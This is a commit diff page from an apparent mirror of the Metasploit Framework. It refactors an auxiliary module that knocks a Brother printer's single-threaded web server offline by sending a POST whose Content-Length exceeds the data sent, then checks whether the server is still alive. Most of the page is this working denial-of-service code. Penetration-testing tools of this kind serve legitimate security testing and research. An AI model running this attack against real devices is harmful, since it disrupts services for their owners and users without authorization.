infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

bcoles fixes

MS-2855/keylogger-mettle-extension
h00die 2018-01-02 20:23:24 -05:00
parent bc0a08ef5a
commit e23e87b444
1 changed files with 21 additions and 20 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

41
modules/auxiliary/dos/http/brother_debut_dos.rb
View File

@ -31,26 +31,23 @@ class MetasploitModule < Msf::Auxiliary
def is_alive? def is_alive?
res = send_request_raw({ res = send_request_raw({
'method' => 'GET', 'method' => 'GET',
'uri' => '/', 'uri' => '/',
},10) },10)
return !res.nil? return !res.nil?
end end
def run def dos
# The web server is single threaded, and when the content length is longer than the data, it will continue to wait
# for the rest of the data, which never comes, and times out after ~300 seconds.
begin begin
time = Time.new
print_status("Sending malformed POST request at #{time.strftime("%Y-%m-%d %H:%M:%S")}. Server will recover about #{(time + 300).strftime("%Y-%m-%d %H:%M:%S")}")
# The web server is single threaded, and when the content length is longer than the data, it will continue to wait
# for the rest of the data, which never comes, and times out after ~300 seconds.
data = Rex::Text.rand_text_alphanumeric(40) data = Rex::Text.rand_text_alphanumeric(40)
send_request_cgi({ send_request_cgi({
'method' => 'POST', 'method' => 'POST',
'uri' => '/', 'uri' => '/',
'data' => data, #'asdasdasdasdasdasdasd', 'data' => data, #'asdasdasdasdasdasdasd',
'headers' => { 'headers' => {
# These are kept here since they were in the original exploit, however they are not required # These are kept here since they were in the original exploit, however they are not required
#'Host' => 'asdasdasd', #'Host' => 'asdasdasd',
#'User-Agent' => 'asdasdasd', #'User-Agent' => 'asdasdasd',
@ -61,19 +58,23 @@ class MetasploitModule < Msf::Auxiliary
#'Upgrade-Insecure-Requests' => 1, #'Upgrade-Insecure-Requests' => 1,
#'Content-Type' => 'application/x-www-form-urlencoded', #'Content-Type' => 'application/x-www-form-urlencoded',
'Content-Length' => data.length + rand(10) + 10 #42 'Content-Length' => data.length + rand(10) + 10 #42
} }
}) })
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE print_error("Couldn't connect to #{peer}")
print_error("Couldn't connect to #{peer}")
return
end end
end
def run
time = Time.new
print_status("Sending malformed POST request at #{time.strftime("%Y-%m-%d %H:%M:%S")}.")
dos
# Check to see if it worked or not # Check to see if it worked or not
if is_alive? if is_alive?
print_error("#{peer} - Server is still alive") print_error("#{peer} - Server is still alive.")
else else
print_good("#{peer} - Connection Refused: Success!") print_good("#{peer} - Connection Refused: Success! Server will recover about #{(time + 300).strftime("%Y-%m-%d %H:%M:%S")}")
end end
end end